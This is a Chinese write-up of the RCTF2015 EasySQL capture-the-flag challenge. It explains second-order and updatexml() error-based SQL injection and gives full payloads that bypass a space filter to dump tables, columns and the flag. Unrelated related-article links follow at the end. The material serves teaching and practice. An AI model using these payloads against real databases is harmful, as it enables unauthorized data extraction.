[RCTF2015]EasySQL 报错注入与二次注入
[RCTF2015]EasySQL 报错注入与二次注入
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
updatexml(fileName, XPATH, ChangedStr)
更新某个xml文件中的特定信息。
第一个参数是希望更新的xml文件的名称;
第二个参数XPATH是一种在xml文件中指定元素或信息的语句,即xml文件中的定位器,有点类似指针;
第三个参数是希望更改成的信息,如将原来的信息改成3,这个3就是这个ChangedStr。
报错注入
通过让数据库报错会拿出相关信息的性质,想办法让数据库报错,然后达到命令执行的目的
updatexml(1,concat(0x3a,(你希望执行的语句)),1))#
concat函数是说连接字符串,这里将0x3a连在了XPATH位置的参数的最前面,会不符合XPATH的规范,遂报错,说“0x3a(你希望执行的语句)”不符合规定,这也就爆出了你想要得到的信息。
二次注入
在某个输入位置,将不安全的字符串成功按原样插入到了数据库中,后认为数据库中的数据都是安全的,然后在另一处随意的引用了该不安全的语句,造成了注入,即“二次注入”
[RCTF2015]EasySQL
tips: 密码和邮箱大部分时候都可以留空
一次注入点在注册的位置,将不安全语句存入到用户名位置,随后在更改密码处,会调用用户名来确认改密码的位置,以造成二次注入。

这里我先注册一个带引号的用户,展示一下效果。

可以看到,这个网站将完整的带引号的名字都存进了数据库,且并没有进行过滤等操作。

直接点提交,可以发现数据库报错了,还发现数据库将密码哈希了以后存储的,不过这和本题无关。
这个位置还是过滤了一些参数的

这里包长为496的都是过滤掉的
开始注入,构造语句
空格过滤掉了,使用括号来完成。
haha"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
这里使用payload为用户名注册,可以看到这么长的用户名也能注册成功,挺离谱的。

事实告诉我们,限制用户名长度还是挺有用的哈哈。
进入修改密码处

成功爆出表名。
经过实验,最终的结果在users表中,查看users表列
haha"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'&&(column_name)regexp('^r')))),1))#

这里语句有一些不一样,where后面多了一个限定词
(column_name)regexp('^r')
这句的意思是,只要column_name列中符合后面正则表达式的内容的部分(regexp函数是正则表达式函数)。
正则表达式的内容 ^r 的意思是,只匹配开头是r的字符串,比如这里有三个串
asdff
asd ff
fasd
正则表达式只会匹配第三个串,因为只有它是f字母开头的,第二个串虽然带有空格后的ff,但空格本身是包含在字符串内的,故后面的ff仍算在一整个字符串内,不是开头,故不被匹配。
回到题目,这里我们不加正则表达式限定,会看到几个表,其中有一个表叫real_flag啥的,因为长度限制,后面没有爆出来,只爆出了一部分,故我们需要限定,只看这个real啥的列的列名
查看flag
haha"||(updatexml(1,(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
同理,他在这个表里面塞了一堆xxx字符串,看表的时候没办法看到flag相关的内容,故我们用正则,匹配f开头的字符串。
然后flag出来又不会出全,还需要使用reverse函数,逆序输出flag
haha"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
随后会出现倒着的flag,然后拼起来即得答案。
这个地方我想把reverse写在select的前面,但不知道为什么没办法执行,有知道的大佬求教下。ψ(`∇´)ψ
想写成这样
haha"||(updatexml(1,(concat(0x3a,reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
[RCTF2015]EasySQL 报错注入与二次注入的更多相关文章
- 报错盲注之exp注入(double数值类型溢出原理详解)
首先感谢原文博主,在此致敬.本文转自:http://www.cnblogs.com/lcamry/articles/5509124.html Exp()为以 e 为底的对数函数:MySQL版本在 5. ...
- Android8 以上使用 UIautomator Viewer提示Unexpected error while obtaining UI hierarchy报错(方法二)
一:最常见的一个问题就是:Android8及以上的系统无法获取到页面,提示报下面的错误 二:解决办法 1.下载新的tools,在下面链接里找到SDK tools下载 http://www.androi ...
- freemarker报错之十二
1.错误描述 六月 04, 2014 10:31:47 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...
- freemarker写select组件报错总结(二)
1.错误描述 六月 25, 2014 11:32:49 下午 freemarker.log.JDK14LoggerFactory$JDK14Logger error 严重: Template proc ...
- Mysql报错注入之floor报错详解
一.简述 利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor ...
- Mysql报错型注入总结
Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...
- VueX中直接修改数据报错,修改一维数组,二维数组,报错的原因
直接修改state中的的数据是不被允许的,会报错 这个时候可以使用三种种方式处理 第一种:使用拓展运算符,深拷贝一维数组或对象var arrA = [1,2,3,4]var a = [...arr]| ...
- 项目启动报错怎么办?看看你Spring自动注入用对了嘛?@Autowired XxxService注入问题解决
问题 在Controller层使用 @Autowired注入Service时,提示Bean中没有Service 在Service接口中使用 @Component注入后,启动项目问题提示: The we ...
- sql server 2008 创建新数据库报错、创建表报错、更改表的设计报错
一:创建数据库报错如下: 二:解决,将软件以管理员身份运行 三:创建表报错如下图: 四:解决办法,在你创建的数据库下面的安全里,找到你创建的用户,属性,添加权限,红色标注,然后确定: 五:更改表的设计 ...
- C++ 报错 R6030 CRT not initialized
昨天,在写一个算法的时候,报错R6030 CRT not initialized. 认真检查发现,是出了比较低级的错误. 一. 会出错的代码,编译的时候不会报错,执行过程中报R6030 CRT not ...
随机推荐
- Flink学习(十七) Emitting to Side Outputs(侧输出)
我们在生产实践中经常会遇到这样的场景,需把输入源按照需要进行拆分,比如我期望把订单流按照金额大小进行拆分,或者把用户访问日志按照访问者的地理位置进行拆分等.面对这样的需求该如何操作呢? 大部分的Dat ...
- java.lang.IllegalStateException: File name has been re-used with different files. (flume报错)
报错日志: java.lang.IllegalStateException: File name has been re-used with different files. Spooling ass ...
- CF2067D Object Identification
CF2067D - Object Identification 题目大意 有一个对你公开的 \(x\) 数组和一个对你隐藏的 \(y\) 数组,保证没有任何两个相同的 \(\{x_i, y_i\}\) ...
- 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
3月6日最新消息,阿里云通义千问官方宣布推出最新推理模型 QwQ-32B,这一模型仅有 32B 参数,但在效果上与拥有 671B 参数的 DeepSeek-R1 相媲美.如果你自己部署 DeepSee ...
- 寒武纪平台上传 Docker 镜像
前言 学校的算力平台更换为了寒武纪平台,相较于以前简单的通过 Linux 用户隔离,使用门槛有所提升.但从整体来看,这样拥有更好的隔离性,在 docker 中即便搞崩了也可以重新来过,可以避免因他人的 ...
- Delphi让网页只允许在WebBrowser里面打开
[添加组件] 添加 Internet->WebBrowser //显示网页 [添加事件] 鼠标点击WebBrowser组件,在Events事件选项框中找到. OnNewWindows2,OnSt ...
- C#/.NET/.NET Core技术前沿周刊 | 第 31 期(2025年3.17-3.23)
前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录.追踪C#/.NET/.NET Core领域.生态的每周最新.最实用.最有价值的技术文章.社区动态.优质项目和学习资源等. ...
- BUUCTF---rsa2
题目 N = 101991809777553253470276751399264740131157682329252673501792154507006158434432009141995367241 ...
- 接口介绍以及定义和使用--java进阶day02
1.接口介绍 日常生活中有很多接口,比如手机数据线的接口和手机充电器的接口 我们转换视角,站在设计者的角度思考接口,接口体现出规则,手机的接口大小和数据线的接口大小必须一致,各种接口的大小都要一致,都 ...
- pg的计算百分数的问题
SELECT cast("dept_id" as varchar(32)) , cast("dept_name" as varchar(30)) AS &quo ...